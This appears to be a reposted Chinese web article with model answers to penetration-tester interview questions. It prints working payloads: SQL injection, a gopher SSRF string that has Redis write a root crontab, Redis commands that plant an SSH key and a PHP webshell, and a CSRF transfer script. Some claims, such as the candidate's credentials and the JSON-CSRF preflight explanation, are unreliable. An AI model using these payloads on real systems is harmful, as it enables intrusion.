2025年滲透測試面試題總結-滲透測試工程師(題目+回答)

安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

?滲透測試工程師

1. 自我介紹

2. 印象深刻的滲透案例:電商平臺供應鏈攻擊

3. 滲透測試標準化流程

4. SQL注入原理與Payload

輸出:users,products,config...

5. 空格繞過技術

6. SQL注入防御與預處理局限

7. 同源策略(SOP)核心規則

8. 子域名同源判斷

9. SSRF原理與利用

10. Redis攻擊Payload

11. CSRF原理與防御

12. JSON格式CSRF利用技巧

原理:瀏覽器發送OPTIONS預檢 → 后端未校驗 → 執行請求

13. SameSite機制

14. DNS重綁定攻擊

15. Fastjson反序列化與修復

16. 子域名枚舉工具與異常分析

17. Java掌握程度

?滲透測試工程師

1.自我介紹
2.印象深刻的一次滲透
3.滲透測試的流程
4.SQL注入原理,及常用payload(手寫-爆表名)
5.SQL注入空格不能使用如何繞過
6.SQL注入防御,延申預處理不能預防哪些注入
7.同源策略
8.a.baidu.com和b.baidu.com是否同源
9.SSRF原理,利用
10.攻擊redis的方式(手寫payload)
11.CSRF的原理及防御
12.一種特殊的CSRF場景:后端只解析json格式的時候如何利用CSRF(非更改Content-Type)
13.SameSite
14.DNS Rebinding
15.Fastjson反序列化及如何修復
16.子域名枚舉用過那些工具,原理是什么,如果出現了任意子域名都返回200是什么原因?
17.Java學到哪種程度了?

1. 自我介紹

王安全 | 5年滲透測試專家 | 專注企業級攻防

  • 技術棧:Web安全/代碼審計/APT防御
  • 認證:OSCP、CISSP(2024)
  • 研究領域:云原生安全、無文件攻擊鏈
  • 項目:主導金融/醫療行業紅藍對抗,發現0day漏洞17個(含CVE-2024-32896)

2. 印象深刻的滲透案例:電商平臺供應鏈攻擊

mermaidgraph LR A[子域名枚舉] --> B[發現測試系統] B --> C{Struts2 OGNL注入} C --> D[獲取數據庫權限] D --> E[供應鏈污染:篡改商品圖片URL] E --> F[植入惡意腳本→用戶側XSS蠕蟲]

關鍵點

  • 通過DNS重綁定繞過IP限制
  • 利用CDN緩存污染擴散攻擊(影響12萬用戶)
  • 防御改進建議:子域名權限隔離 + 動態內容簽名

3. 滲透測試標準化流程

階段核心任務工具
信息收集子域名/端口/框架指紋識別Amass, Wappalyzer
漏洞掃描自動化+人工驗證Burp Suite, Nuclei
滲透利用漏洞組合利用+權限提升Metasploit, CobaltStrike
后滲透數據提取/隱蔽通道建立Mimikatz, ICMP隧道
報告輸出漏洞定位+修復方案Dradis, LaTeX報告模板

4. SQL注入原理與Payload

原理:用戶輸入拼接SQL語句 → 破壞原有邏輯 → 執行惡意指令
爆表名Payload(MySQL):

sql' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- 

輸出users,products,config...

5. 空格繞過技術

場景繞過方案示例
注釋符/**/替代空格SELECT/**/user/**/FROM/**/t
括號嵌套用括號包裹語句SELECT(user)FROM(t)
特殊符號換行符%0a/Tab%09SELECT%0auser%09FROM%0at
URL編碼%20(部分場景有效)SELECT%20*%20FROM%20t

6. SQL注入防御與預處理局限

防御方案

  • 參數化查詢(PreparedStatement
  • 存儲過程+最小權限
  • WAF規則過濾union|select|sleep
    預處理無法防御的場景
java// 動態表名/列名仍需拼接 → 依然存在注入 String query = "SELECT " + userInputColumn + " FROM table"; PreparedStatement ps = conn.prepareStatement(query); // 風險!

7. 同源策略(SOP)核心規則

要素同源要求示例
協議相同HTTP ≠ HTTPS
域名完全一致a.com ≠ b.a.com
端口相同:80 ≠ :8080

8. 子域名同源判斷

a.baidu.comb.baidu.com 非同源

  • 域名不同:二級域名差異
  • Cookie隔離document.cookie 無法互相訪問
  • API限制XMLHttpRequest請求需CORS頭

9. SSRF原理與利用

原理:服務端發起未校驗的請求 → 訪問內部資源
高危利用鏈

mermaidgraph LR A[SSRF] --> B[訪問內網Redis] B --> C[寫crontab定時任務] C --> D[反彈Shell]

關鍵Payload

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0aX%0d%0a$1%0d%0aY%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a 

10. Redis攻擊Payload

bash# 寫SSH密鑰 FLUSHALL SET pubkey "ssh-rsa AAAAB3NzaC1yc2E..." CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SAVE # 寫Webshell CONFIG SET dir /var/www/html SET payload "<?php system($_GET['cmd']);?>" CONFIG SET dbfilename shell.php SAVE 

11. CSRF原理與防御

原理:利用用戶已登錄態 → 偽造請求(如轉賬)
防御方案

方案實現方式
Token驗證表單中嵌入隨機Token → 服務端校驗
雙重CookieSameSite=Strict + 自定義Header
驗證碼關鍵操作需二次驗證

12. JSON格式CSRF利用技巧

場景:后端僅解析JSON → 傳統表單無效
繞過方案

html<!-- 構造惡意頁面 --> <script> fetch('https://bank.com/transfer', { method: 'POST', headers: {'Content-Type': 'text/plain'}, // 觸發預檢 body: '{"amount":10000,"to":"attacker"}' }); </script>

原理:瀏覽器發送OPTIONS預檢 → 后端未校驗 → 執行請求

13. SameSite機制

模式特性場景
Strict完全禁止跨站Cookie銀行操作
Lax允許GET導航跳轉攜帶Cookie默認模式(Chrome 2025)
None允許跨站Cookie(需HTTPS)嵌入式應用

14. DNS重綁定攻擊

原理

  1. 用戶訪問evil.com → DNS返回合法IP(首次響應)
  2. 頁面JS發起內網請求 → DNS返回127.0.0.1(TTL過期后)
    繞過場景
  • 瀏覽器緩存策略繞過
  • 內網服務未校驗Host

15. Fastjson反序列化與修復

攻擊鏈
JSON.parseObject() → 利用@type指定惡意類 → JNDI注入 → RCE
修復方案

java// 開啟安全模式(2025最佳實踐) ParserConfig.getGlobalInstance().setSafeMode(true); // 白名單控制 ParserConfig.getGlobalInstance().addAccept("com.safe.*"); 

16. 子域名枚舉工具與異常分析

工具與原理

工具原理特點
AmassDNS爆破/證書透明度/搜索引擎數據源豐富
Subfinder聚合API(Virustotal等)速率快
AI枚舉器GPT-5生成候選域名 → 驗證2025新興技術
全返回200的原因
  • WAF統一響應(如Cloudflare防護)
  • 負載均衡健康檢查
  • 通配符解析(*.domain.com → 默認頁)

17. Java掌握程度

能力矩陣

領域掌握深度項目應用
安全開發熟練Spring Security/OAuth2.1設計RBAC系統
漏洞挖掘審計反序列化鏈/表達式注入發現Log4j3繞過(CVE-2024-xx)
內存馬攻防手工注入Agent型內存馬紅隊演練應用
JVM調優分析內存泄漏/GC策略高并發系統優化
技術棧全景
mermaidpie title Java技術棧分布 “安全開發” : 35 “漏洞研究” : 30 “協議分析” : 20 “性能優化” : 15 

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/85950.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/85950.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/85950.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Vulkan 學習筆記15—Mipmap 與多重采樣

一、Mipmap 生成總結 一、Mipmap 基礎概念 定義&#xff1a;Mipmap 是圖像預先計算的縮小版本&#xff0c;每個層級寬高為前一層的一半&#xff0c;用作細節級別&#xff08;LOD&#xff09;。作用&#xff1a; 遠離相機的對象使用較小層級采樣&#xff0c;提升渲染速度。避免…

HarmonyOS隱私保護全攻略:從入門到精通

&#x1f4f1; HarmonyOS隱私保護全攻略&#xff1a;從入門到精通 &#x1f6e1;? 大家好呀&#xff01;今天咱們來聊聊移動互聯網時代最讓人頭疼的問題之一 —— 隱私保護&#xff01;隨著HarmonyOS生態越來越豐富&#xff0c;這個問題也變得格外重要啦&#xff01;? &…

《使用IDEA插件部署Spring Boot項目到Docker》

準備工作 確保已安裝Docker并已啟動/本地也需要安裝Docker IDEA中已安裝Docker插件&#xff08;通常已預裝&#xff09; 項目是基于Spring Boot的Maven或Gradle項目 1. 配置Docker連接 打開IDEA設置(File > Settings)導航到Build, Execution, Deployment > Docker點擊…

植物神經小知識

在消化系統方面&#xff0c;患者可能長期飽受胃痛、胃脹、食欲不振、惡心嘔吐、腹瀉或便秘交替的折磨。吃任何食物都味同嚼蠟&#xff0c;體重也會在短時間內大幅波動。在心血管系統&#xff0c;持續性的心悸、胸悶、胸痛讓人仿佛時刻處于 “心臟病發作” 的恐懼之中&#xff0…

mysql replace into學習

drop table rm_ic.test_replace; create table rm_ic.test_replace(id int(11) auto_increment primary key,name varchar(100) ,uid varchar(100) comment 身份證 unique key ) ; insert into rm_ic.test_replace values(1,張三,111),(2,李四,222),(3,王五,333),(4,趙六,444);…

ProtoBuf:通訊錄4.0實現 序列化能?對?驗證

&#x1f308; 個人主頁&#xff1a;Zfox_ &#x1f525; 系列專欄&#xff1a;ProtoBuf &#x1f525; ProtoBuf&#xff1a;通訊錄4.0實現 Protobuf還常?于通訊協議、服務端數據交換場景。那么在這個?例中&#xff0c;我們將實現?個?絡版本的通訊錄&#xff0c;模擬實現…

界面控件DevExpress WPF v24.2新版亮點:電子表格組件全新升級

DevExpress WPF擁有120個控件和庫&#xff0c;將幫助您交付滿足甚至超出企業需求的高性能業務應用程序。通過DevExpress WPF能創建有著強大互動功能的XAML基礎應用程序&#xff0c;這些應用程序專注于當代客戶的需求和構建未來新一代支持觸摸的解決方案。 DevExpress WPF控件近…

EcoVadis提升評估得分的策略,EcoVadis常見挑戰與解決方案

EcoVadis評估概述 EcoVadis是全球領先的企業社會責任(CSR)評級平臺&#xff0c;為全球供應鏈提供可持續性評估服務。該評估體系通過對環境、勞工與人權、商業道德和可持續采購四大主題的全面評估&#xff0c;幫助企業衡量和改進其CSR表現。 評估核心內容 EcoVadis評估涵蓋以…

深入理解指針(五)

1. 回調函數是什么&#xff1f; 2. qsort使用舉例 3. qsort函數的模擬實現 1. 回調函數是什么&#xff1f; 回調函數就是?個通過函數指針調用的函數。 如果你把函數的指針&#xff08;地址&#xff09;作為參數傳遞給另?個函數&#xff0c;當這個指針被用來調用其所指向的…

Docker 日志

Docker 日志是排查容器故障、監控運行狀態的重要工具。下面從 日志查看命令、詳解字段、日志驅動、最佳實踐 四個方面給你詳細解析。 一、最常用日志命令 1. 查看容器日志&#xff08;默認 stdout、stderr&#xff09; docker logs <container_name|container_id>2. 實…

SAP生產環境修改程序

1. 關鍵的兩個標準函數 TRINT_CORR_INSERT TRINT_CORR_CHECK 2. 自定義SAP生產環境修改程序 *data:begin of itab occurs 0, * lines(150), * end of itab. DATA itab TYPE TABLE OF string. PARAMETERS:program LIKE rs38m-programm. READ REPORT program INT…

構建高性能網絡服務:從Reactor模式到現代服務器架構設計

在當今高并發、低延遲的應用場景下&#xff0c;如何設計高效穩定的網絡服務成為后端開發的核心挑戰。本文將深入探討網絡服務的演進路徑&#xff0c;結合Reactor模式、one thread one loop思想等關鍵技術&#xff0c;揭示高性能服務器架構的設計精髓。 一、網絡通信的核心問題與…

HarmonyOS 5 多端適配原理與BreakpointSystem工具類解析:附代碼

H 一、鴻蒙多端適配的核心概念 鴻蒙系統的多端適配通過響應式布局和媒體查詢實現&#xff0c;核心在于根據設備屏幕尺寸動態調整UI結構。其實現邏輯與Web響應式設計類似&#xff0c;但針對鴻蒙ArkUI框架進行了定制化封裝。 二、BreakpointSystem工具類&#xff1a;多端適配的…

Telerik生態整合:Kendo UI for Angular組件在WinForms應用中的深度嵌入(二)

Telerik DevCraft包含一個完整的產品棧來構建您下一個Web、移動和桌面應用程序。它使用HTML和每個.NET平臺的UI庫&#xff0c;加快開發速度。Telerik DevCraft提供完整的工具箱&#xff0c;用于構建現代和面向未來的業務應用程序&#xff0c;目前提供UI for ASP.NET MVC、Kendo…

紅帽全球副總裁曹衡康:開源AI開啟企業級應用新紀元

在生成式AI技術迅猛發展的今天&#xff0c;ChatGPT、DeepSeek、元寶等AI應用已不再僅僅是科技前沿的象征&#xff0c;而是切實地融入到了我們的工作與生活之中&#xff0c;為企業帶來了前所未有的變革機遇。對于企業而言&#xff0c;如何有效利用AI技術降本增效&#xff0c;已成…

異構計算解決方案(兼容不同硬件架構)

異構計算解決方案通過整合不同類型處理器&#xff08;如CPU、GPU、NPU、FPGA等&#xff09;&#xff0c;實現硬件資源的高效協同與兼容&#xff0c;滿足多樣化計算需求。其核心技術與實踐方案如下&#xff1a; 一、硬件架構設計 異構處理器組合? 主從協作模式?&#xff1a…

中科米堆汽車車門自動化三維檢測3D尺寸測量設備自動外觀檢測

汽車的每一個零部件的質量都關乎著整車的性能與安全。汽車車門作為車輛的重要組成部分&#xff0c;不僅承擔著保護車內人員安全的關鍵職責&#xff0c;其外觀質量與尺寸精度也直接影響著消費者的第一印象和駕駛體驗。 汽車車門制造涉及眾多復雜的工藝流程&#xff0c;從沖壓成…

Python 數據分析與可視化 Day 4 - Pandas 數據篩選與排序操作

&#x1f3af; 今日目標 掌握 Pandas 中 groupby() 的使用方式學會使用 agg() 方法進行多個聚合掌握 pivot_table() 構建透視表結合分組與排序進行更深入的分析 &#x1f9ee; 一、基本分組統計&#xff08;groupby&#xff09; ? 分組 單列聚合 df.groupby("性別&qu…

智能營銷系統對企業的應用價值

在當前快速迭代的商業環境中&#xff0c;企業與客戶的連接方式正經歷前所未有的深刻變革。傳統的市場策略在數據洪流和日益個性化的消費者需求面前&#xff0c;效能正逐步遞減。 企業決策者普遍面臨一個核心挑戰&#xff1a;如何在復雜多變的市場中&#xff0c;實現營銷資源的最…

docker鏡像中集成act工具

# 使用官方 Ubuntu 22.04 基礎鏡像 FROM ubuntu:22.04# 安裝系統依賴并清理緩存 RUN apt-get update && \apt-get install -y --no-install-recommends \curl \git \make \gcc \g \libssl-dev \pkg-config \&& \apt-get clean && \rm -rf /var/lib/apt…